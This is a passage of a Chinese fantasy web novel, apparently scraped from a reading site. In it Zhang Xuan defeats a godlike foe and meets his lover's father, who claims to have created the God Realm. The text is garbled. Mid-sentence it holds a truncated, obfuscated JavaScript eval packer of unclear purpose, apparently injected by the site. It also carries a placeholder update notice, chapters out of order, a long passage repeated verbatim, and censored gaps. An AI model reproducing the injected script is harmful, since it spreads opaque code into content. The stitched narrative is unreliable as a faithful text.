一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第185章 自作孽,不可活 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! 